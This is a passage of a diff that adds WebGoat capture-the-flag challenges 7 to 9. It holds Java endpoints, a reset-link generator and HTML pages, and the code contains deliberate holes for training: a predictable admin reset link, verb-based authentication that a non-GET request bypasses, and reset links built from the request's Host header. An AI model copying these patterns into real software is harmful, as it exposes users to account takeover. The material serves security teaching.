a = HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */
|
||||
d = HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */
|
||||
c = HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */
|
||||
b = HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */
|
||||
|
||||
/* Round 4 */
|
||||
a = II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */
|
||||
d = II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */
|
||||
c = II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */
|
||||
b = II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */
|
||||
a = II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */
|
||||
d = II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */
|
||||
c = II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */
|
||||
b = II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */
|
||||
a = II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */
|
||||
d = II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */
|
||||
c = II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */
|
||||
b = II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */
|
||||
a = II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */
|
||||
d = II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */
|
||||
c = II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */
|
||||
b = II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */
|
||||
|
||||
state.state[0] += a;
|
||||
state.state[1] += b;
|
||||
state.state[2] += c;
|
||||
state.state[3] += d;
|
||||
}
|
||||
}
|
@ -0,0 +1,43 @@
|
||||
package org.owasp.webgoat.plugin.challenge7;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents
|
||||
*
|
||||
* @author nbaars
|
||||
* @since 8/17/17.
|
||||
*/
|
||||
public class PasswordResetLink {
|
||||
|
||||
public String createPasswordReset(String username, String key) {
|
||||
Random random = new Random();
|
||||
if (username.equalsIgnoreCase("admin")) {
|
||||
//Admin has a fix reset link
|
||||
random.setSeed(key.length());
|
||||
}
|
||||
return scramble(random, scramble(random, scramble(random, MD5.getHashString(username))));
|
||||
}
|
||||
|
||||
public static String scramble(Random random, String inputString) {
|
||||
char a[] = inputString.toCharArray();
|
||||
for (int i = 0; i < a.length; i++) {
|
||||
int j = random.nextInt(a.length);
|
||||
char temp = a[i];
|
||||
a[i] = a[j];
|
||||
a[j] = temp;
|
||||
}
|
||||
return new String(a);
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
if (args == null || args.length != 2) {
|
||||
System.out.println("Need a username and key");
|
||||
System.exit(1);
|
||||
}
|
||||
String username = args[0];
|
||||
String key = args[1];
|
||||
System.out.println("Generation password reset link for " + username);
|
||||
System.out.println("Created password reset link: " + new PasswordResetLink().createPasswordReset(username, key));
|
||||
}
|
||||
}
|
@ -0,0 +1,68 @@
|
||||
package org.owasp.webgoat.plugin.challenge8;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.plugin.Flag;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.PathVariable;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 4/8/17.
|
||||
*/
|
||||
@AssignmentPath("/challenge/8")
|
||||
@Slf4j
|
||||
public class Assignment8 extends AssignmentEndpoint {
|
||||
|
||||
private static final Map<Integer, Integer> votes = Maps.newHashMap();
|
||||
|
||||
static {
|
||||
votes.put(1, 400);
|
||||
votes.put(2, 120);
|
||||
votes.put(3, 140);
|
||||
votes.put(4, 150);
|
||||
votes.put(5, 300);
|
||||
}
|
||||
|
||||
@GetMapping(value = "/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public ResponseEntity<?> vote(@PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) {
|
||||
//Simple implementation of VERB Based Authentication
|
||||
String msg = "";
|
||||
if (request.getMethod().equals("GET")) {
|
||||
HashMap<String, Object> json = Maps.newHashMap();
|
||||
json.put("error", true);
|
||||
json.put("message", "Sorry but you need to login first in order to vote");
|
||||
return ResponseEntity.status(200).body(json);
|
||||
}
|
||||
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
|
||||
votes.put(nrOfStars, allVotesForStar + 1);
|
||||
return ResponseEntity.ok().header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)).build();
|
||||
}
|
||||
|
||||
@GetMapping("/votes/")
|
||||
public ResponseEntity<?> getVotes() {
|
||||
return ResponseEntity.ok(votes.entrySet().stream().collect(Collectors.toMap(e -> "" + e.getKey(), e -> e.getValue())));
|
||||
}
|
||||
|
||||
@GetMapping("/votes/average")
|
||||
public ResponseEntity<Map<String, Integer>> average() {
|
||||
int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum();
|
||||
int categories = votes.entrySet().stream().mapToInt(e -> e.getKey() * e.getValue()).reduce(0, (a, b) -> a + b);
|
||||
Map json = Maps.newHashMap();
|
||||
json.put("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
|
||||
return ResponseEntity.ok(json);
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -0,0 +1,39 @@
|
||||
package org.owasp.webgoat.plugin.challenge8;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 3/21/17.
|
||||
*/
|
||||
public class Challenge8 extends NewLesson {
|
||||
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.CHALLENGE;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 10;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "challenge8.title";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "Challenge8";
|
||||
}
|
||||
}
|
@ -0,0 +1,159 @@
|
||||
package org.owasp.webgoat.plugin.challenge9;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import com.beust.jcommander.internal.Maps;
|
||||
import com.google.common.collect.EvictingQueue;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.mail.IncomingMailEvent;
|
||||
import org.owasp.webgoat.users.UserRepository;
|
||||
import org.owasp.webgoat.users.WebGoatUser;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.http.HttpEntity;
|
||||
import org.springframework.http.HttpHeaders;
|
||||
import org.springframework.http.HttpMethod;
|
||||
import org.springframework.jms.core.JmsTemplate;
|
||||
import org.springframework.ui.Model;
|
||||
import org.springframework.util.StringUtils;
|
||||
import org.springframework.validation.BindingResult;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import org.springframework.web.client.RestTemplate;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.time.LocalDateTime;
|
||||
import java.util.Map;
|
||||
import java.util.UUID;
|
||||
|
||||
import static org.owasp.webgoat.plugin.Flag.FLAGS;
|
||||
import static org.owasp.webgoat.plugin.SolutionConstants.PASSWORD_TOM_9;
|
||||
import static org.owasp.webgoat.plugin.SolutionConstants.TOM_EMAIL;
|
||||
import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 4/8/17.
|
||||
*/
|
||||
@AssignmentPath("/challenge/9")
|
||||
@Slf4j
|
||||
public class Assignment9 extends AssignmentEndpoint {
|
||||
|
||||
private static Map<String, String> userToTomResetLink = Maps.newHashMap();
|
||||
private static Map<String, String> usersToTomPassword = Maps.newHashMap();
|
||||
private static EvictingQueue resetLinks = EvictingQueue.create(1000);
|
||||
|
||||
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
|
||||
"<a target='_blank' href='http://%s/WebGoat/challenge/9/reset-password/%s'>link</a> to reset your password." +
|
||||
"\n \n\n" +
|
||||
"If you did not request this password change you can ignore this message." +
|
||||
"\n" +
|
||||
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
|
||||
"\n\n" +
|
||||
"Kind regards, \nTeam WebGoat";
|
||||
|
||||
@Autowired
|
||||
private JmsTemplate jmsTemplate;
|
||||
@Autowired
|
||||
private UserRepository userRepository;
|
||||
|
||||
@RequestMapping(method = POST, value = "/create-password-reset-link")
|
||||
@ResponseBody
|
||||
public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request, @CookieValue("JSESSIONID") String cookie) {
|
||||
String resetLink = UUID.randomUUID().toString();
|
||||
resetLinks.add(resetLink);
|
||||
String host = request.getHeader("host");
|
||||
if (StringUtils.hasText(email)) {
|
||||
if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header.
|
||||
userToTomResetLink.put(getWebSession().getUserName(), resetLink);
|
||||
fakeClickingLinkEmail(cookie, host, resetLink);
|
||||
} else {
|
||||
sendMailToUser(email, host, resetLink);
|
||||
}
|
||||
}
|
||||
return success().feedback("email.send").feedbackArgs(email).build();
|
||||
}
|
||||
|
||||
private void sendMailToUser(@RequestParam String email, String host, String resetLink) {
|
||||
String username;
|
||||
WebGoatUser webGoatUser = userRepository.findByUsername(email.substring(0, email.indexOf("@")));
|
||||
if (webGoatUser != null) {
|
||||
username = webGoatUser.getUsername();
|
||||
IncomingMailEvent mail = IncomingMailEvent.builder()
|
||||
.title("Your password reset link for challenge 9")
|
||||
.contents(String.format(TEMPLATE, host, resetLink))
|
||||
.sender("password-reset@webgoat-cloud.net")
|
||||
.recipient(username)
|
||||
.time(LocalDateTime.now()).build();
|
||||
jmsTemplate.convertAndSend("mailbox", mail);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* We need to add the current cookie of the user otherwise we cannot distinguish in WebWolf for
|
||||
* which user we need to trace the incoming request. In normal situation this HOST will be in your
|
||||
* full control so every incoming request would be valid.
|
||||
*/
|
||||
private void fakeClickingLinkEmail(String cookie, String host, String resetLink) {
|
||||
try {
|
||||
|
||||
HttpHeaders httpHeaders = new HttpHeaders();
|
||||
httpHeaders.put(HttpHeaders.COOKIE, Lists.newArrayList("JSESSIONID=" + cookie));
|
||||
HttpEntity httpEntity = new HttpEntity(httpHeaders);
|
||||
new RestTemplate().exchange(String.format("http://%s/challenge/9/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class);
|
||||
} catch (Exception e) {
|
||||
//don't care
|
||||
}
|
||||
}
|
||||
|
||||
@PostMapping("/login")
|
||||
@ResponseBody
|
||||
public AttackResult login(@RequestParam String password, @RequestParam String email) {
|
||||
if (TOM_EMAIL.equals(email)) {
|
||||
String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9);
|
||||
if (passwordTom.equals(PASSWORD_TOM_9)) {
|
||||
return failed().feedback("login_failed").build();
|
||||
} else if (passwordTom.equals(password)) {
|
||||
return success().feedback("challenge.solved").feedbackArgs(FLAGS.get(9)).build();
|
||||
}
|
||||
}
|
||||
return failed().feedback("login_failed.tom").build();
|
||||
}
|
||||
|
||||
@GetMapping("/reset-password/{link}")
|
||||
public String resetPassword(@PathVariable(value = "link") String link, Model model) {
|
||||
if (this.resetLinks.contains(link)) {
|
||||
PasswordChangeForm form = new PasswordChangeForm();
|
||||
form.setResetLink(link);
|
||||
model.addAttribute("form", form);
|
||||
return "password_reset"; //Display html page for changing password
|
||||
} else {
|
||||
return "password_link_not_found";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@PostMapping("/change-password")
|
||||
public String changePassword(@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
|
||||
if (!StringUtils.hasText(form.getPassword())) {
|
||||
bindingResult.rejectValue("password", "not.empty");
|
||||
}
|
||||
if (bindingResult.hasErrors()) {
|
||||
return "password_reset";
|
||||
}
|
||||
if (!resetLinks.contains(form.getResetLink())) {
|
||||
return "password_link_not_found";
|
||||
}
|
||||
if (checkIfLinkIsFromTom(form.getResetLink())) {
|
||||
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
|
||||
}
|
||||
return "success";
|
||||
}
|
||||
|
||||
private boolean checkIfLinkIsFromTom(String resetLinkFromForm) {
|
||||
String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown");
|
||||
return resetLink.equals(resetLinkFromForm);
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -0,0 +1,39 @@
|
||||
package org.owasp.webgoat.plugin.challenge9;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 3/21/17.
|
||||
*/
|
||||
public class Challenge9 extends NewLesson {
|
||||
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.CHALLENGE;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 10;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "challenge9.title";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "Challenge9";
|
||||
}
|
||||
}
|
@ -0,0 +1,22 @@
|
||||
package org.owasp.webgoat.plugin.challenge9;
|
||||
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
|
||||
import javax.validation.constraints.NotNull;
|
||||
import javax.validation.constraints.Size;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/18/17.
|
||||
*/
|
||||
@Getter
|
||||
@Setter
|
||||
public class PasswordChangeForm {
|
||||
|
||||
@NotNull
|
||||
@Size(min=6, max=10)
|
||||
private String password;
|
||||
private String resetLink;
|
||||
|
||||
}
|
BIN
webgoat-lessons/challenge/src/main/resources/challenge7/git.zip
Normal file
@ -0,0 +1,43 @@
|
||||
.btn-grey{
|
||||
background-color:#D8D8D8;
|
||||
color:#FFF;
|
||||
}
|
||||
.rating-block{
|
||||
background-color:#FAFAFA;
|
||||
border:1px solid #EFEFEF;
|
||||
padding:15px 15px 20px 15px;
|
||||
border-radius:3px;
|
||||
}
|
||||
.bold{
|
||||
font-weight:700;
|
||||
}
|
||||
.padding-bottom-7{
|
||||
padding-bottom:7px;
|
||||
}
|
||||
|
||||
.review-block{
|
||||
background-color:#FAFAFA;
|
||||
border:1px solid #EFEFEF;
|
||||
padding:15px;
|
||||
border-radius:3px;
|
||||
margin-bottom:15px;
|
||||
}
|
||||
.review-block-name{
|
||||
font-size:12px;
|
||||
margin:10px 0;
|
||||
}
|
||||
.review-block-date{
|
||||
font-size:12px;
|
||||
}
|
||||
.review-block-rate{
|
||||
font-size:13px;
|
||||
margin-bottom:15px;
|
||||
}
|
||||
.review-block-title{
|
||||
font-size:15px;
|
||||
font-weight:700;
|
||||
margin-bottom:10px;
|
||||
}
|
||||
.review-block-description{
|
||||
font-size:13px;
|
||||
}
|
@ -0,0 +1,82 @@
|
||||
<!DOCTYPE html>
|
||||
|
||||
<!--
|
||||
** Revision history (automatically added by: /challenge/7/.git/hooks)
|
||||
|
||||
2e29cacb85ce5066b8d011bb9769b666812b2fd9 Updated copyright to 2017
|
||||
ac937c7aab89e042ca32efeb00d4ca08a95b50d6 Removed hardcoded key
|
||||
f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
|
||||
|
||||
-->
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:Challenge_7.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-body">
|
||||
<div class="text-center">
|
||||
<h3><i class="fa fa-lock fa-4x"></i></h3>
|
||||
<h2 class="text-center">Forgot Password?</h2>
|
||||
<p>You can reset your password here.</p>
|
||||
<div class="panel-body">
|
||||
|
||||
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/challenge/7"
|
||||
enctype="application/json;charset=UTF-8" role="form">
|
||||
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<span class="input-group-addon"><i
|
||||
class="glyphicon glyphicon-envelope color-blue"></i></span>
|
||||
<input id="email" name="email" placeholder="email address"
|
||||
class="form-control" type="email"/>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input name="recover-submit" class="btn btn-lg btn-primary btn-block"
|
||||
value="Reset Password" type="submit"/>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<p>(c) 2017 WebGoat Cloud Platform</p>
|
||||
</div>
|
||||
|
||||
<input type="hidden" class="hide" name="token" id="token" value=""/>
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<br/>
|
||||
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
|
||||
style="font-size:20px"></i></div>
|
||||
<input type="text" class="form-control" id="flag" name="flag"
|
||||
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
|
||||
</div>
|
||||
<div class="input-group" style="margin-top: 10px">
|
||||
<button type="submit" class="btn btn-primary">Submit flag</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</html>
|
@ -0,0 +1,255 @@
|
||||
<!DOCTYPE html>
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:Challenge_8.adoc"></div>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/challenge8.css}"/>
|
||||
<script th:src="@{/lesson_js/challenge8.js}" language="JavaScript"></script>
|
||||
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="row">
|
||||
<div class="col-sm-3">
|
||||
<div class="rating-block">
|
||||
<h4>Average user rating</h4>
|
||||
<h2 class="bold padding-bottom-7">4.3
|
||||
<small>/ 5</small>
|
||||
</h2>
|
||||
<button id="star1" onClick="doVote(1)" type="button" class="btn btn-warning btn-sm" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button id="star2" onClick="doVote(2)" type="button" class="btn btn-warning btn-sm" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button id="star3" onClick="doVote(3)" type="button" class="btn btn-warning btn-sm" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button id="star4" onClick="doVote(4)" type="button" class="btn btn-default btn-grey btn-sm" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button id="star5" onClick="doVote(5)" type="button" class="btn btn-default btn-grey btn-sm" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-3">
|
||||
<h4>Rating breakdown</h4>
|
||||
<div class="pull-left">
|
||||
<div class="pull-left" style="width:35px; line-height:1;">
|
||||
<div style="height:9px; margin:5px 0;">5 <span class="glyphicon glyphicon-star"></span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pull-left" style="width:180px;">
|
||||
<div class="progress" style="height:9px; margin:8px 0;">
|
||||
<div id="progressBar5" class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="5"
|
||||
aria-valuemin="0" aria-valuemax="5">
|
||||
<span class="sr-only">5</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="nrOfVotes5" class="pull-right" style="margin-left:10px;">0</div>
|
||||
</div>
|
||||
<div class="pull-left">
|
||||
<div class="pull-left" style="width:35px; line-height:1;">
|
||||
<div style="height:9px; margin:5px 0;">4 <span class="glyphicon glyphicon-star"></span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pull-left" style="width:180px;">
|
||||
<div class="progress" style="height:9px; margin:8px 0;">
|
||||
<div id="progressBar4" class="progress-bar progress-bar-primary" role="progressbar" aria-valuenow="5"
|
||||
aria-valuemin="0" aria-valuemax="5">
|
||||
<span class="sr-only">4</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="nrOfVotes4" class="pull-right" style="margin-left:10px;">0</div>
|
||||
</div>
|
||||
<div class="pull-left">
|
||||
<div class="pull-left" style="width:35px; line-height:1;">
|
||||
<div style="height:9px; margin:5px 0;">3 <span class="glyphicon glyphicon-star"></span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pull-left" style="width:180px;">
|
||||
<div class="progress" style="height:9px; margin:8px 0;">
|
||||
<div id="progressBar3" class="progress-bar progress-bar-info" role="progressbar" aria-valuenow="5"
|
||||
aria-valuemin="0" aria-valuemax="5">
|
||||
<span class="sr-only">4</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="nrOfVotes3" class="pull-right" style="margin-left:10px;">0</div>
|
||||
</div>
|
||||
<div class="pull-left">
|
||||
<div class="pull-left" style="width:35px; line-height:1;">
|
||||
<div style="height:9px; margin:5px 0;">2 <span class="glyphicon glyphicon-star"></span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pull-left" style="width:180px;">
|
||||
<div class="progress" style="height:9px; margin:8px 0;">
|
||||
<div id="progressBar2" class="progress-bar progress-bar-warning" role="progressbar" aria-valuenow="5"
|
||||
aria-valuemin="0" aria-valuemax="5">
|
||||
<span class="sr-only">2</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="nrOfVotes2" class="pull-right" style="margin-left:10px;">0</div>
|
||||
</div>
|
||||
<div class="pull-left">
|
||||
<div class="pull-left" style="width:35px; line-height:1;">
|
||||
<div style="height:9px; margin:5px 0;">1 <span class="glyphicon glyphicon-star"></span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="pull-left" style="width:180px;">
|
||||
<div class="progress" style="height:9px; margin:8px 0;">
|
||||
<div id="progressBar1" class="progress-bar progress-bar-danger" role="progressbar" aria-valuenow="5"
|
||||
aria-valuemin="0" aria-valuemax="5">
|
||||
<span class="sr-only">4</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="nrOfVotes1" class="pull-right" style="margin-left:10px;">0</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-sm-7">
|
||||
<hr/>
|
||||
<div id = "voteResultMsg" class="alert alert-dismissable" style="display: none;">
|
||||
</div>
|
||||
<div class="alert alert-info">
|
||||
Please login or register in order to vote (comments are disabled)
|
||||
</div>
|
||||
<div class="review-block">
|
||||
<div class="row">
|
||||
<div class="col-sm-3">
|
||||
<img src="images/user1.png" class="img-rounded"/>
|
||||
<div class="review-block-name"><a href="#">nktailor</a></div>
|
||||
<div class="review-block-date">August 22, 2017<br/>1 day ago</div>
|
||||
</div>
|
||||
<div class="col-sm-9">
|
||||
<div class="review-block-rate">
|
||||
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-warning btn-xs"
|
||||
aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-warning btn-xs"
|
||||
aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
</div>
|
||||
<div class="review-block-title">WebGoat rocks!</div>
|
||||
<div class="review-block-description">This is a great tool to learn about security
|
||||
and have some fun with a couple challenges.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<hr/>
|
||||
<div class="row">
|
||||
<div class="col-sm-3">
|
||||
<img src="images/user3.png" class="img-rounded"/>
|
||||
<div class="review-block-name"><a href="#">Sarah</a></div>
|
||||
<div class="review-block-date">July 29, 2017<br/>12 day ago</div>
|
||||
</div>
|
||||
<div class="col-sm-9">
|
||||
<div class="review-block-rate">
|
||||
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-warning btn-xs"
|
||||
aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-default btn-grey btn-xs"
|
||||
aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
</div>
|
||||
<div class="review-block-title">Nice</div>
|
||||
<div class="review-block-description">I liked it and learned a couple of things.
|
||||
Still some bugs sometimes though.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<hr/>
|
||||
<div class="row">
|
||||
<div class="col-sm-3">
|
||||
<img src="images/user2.png" class="img-rounded"/>
|
||||
<div class="review-block-name"><a href="#">Tom</a></div>
|
||||
<div class="review-block-date">January 27, 2017<br/>100 days ago</div>
|
||||
</div>
|
||||
<div class="col-sm-9">
|
||||
<div class="review-block-rate">
|
||||
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-default btn-grey btn-xs"
|
||||
aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
<button type="button" class="btn btn-default btn-grey btn-xs"
|
||||
aria-label="Left Align">
|
||||
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||
</button>
|
||||
</div>
|
||||
<div class="review-block-title">WebGoat is great</div>
|
||||
<div class="review-block-description">WebGoat teaches you web security with some great
|
||||
lessons
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<br/>
|
||||
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
|
||||
style="font-size:20px"></i></div>
|
||||
<input type="text" class="form-control" id="flag" name="flag"
|
||||
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
|
||||
</div>
|
||||
<div class="input-group" style="margin-top: 10px">
|
||||
<button type="submit" class="btn btn-primary">Submit flag</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
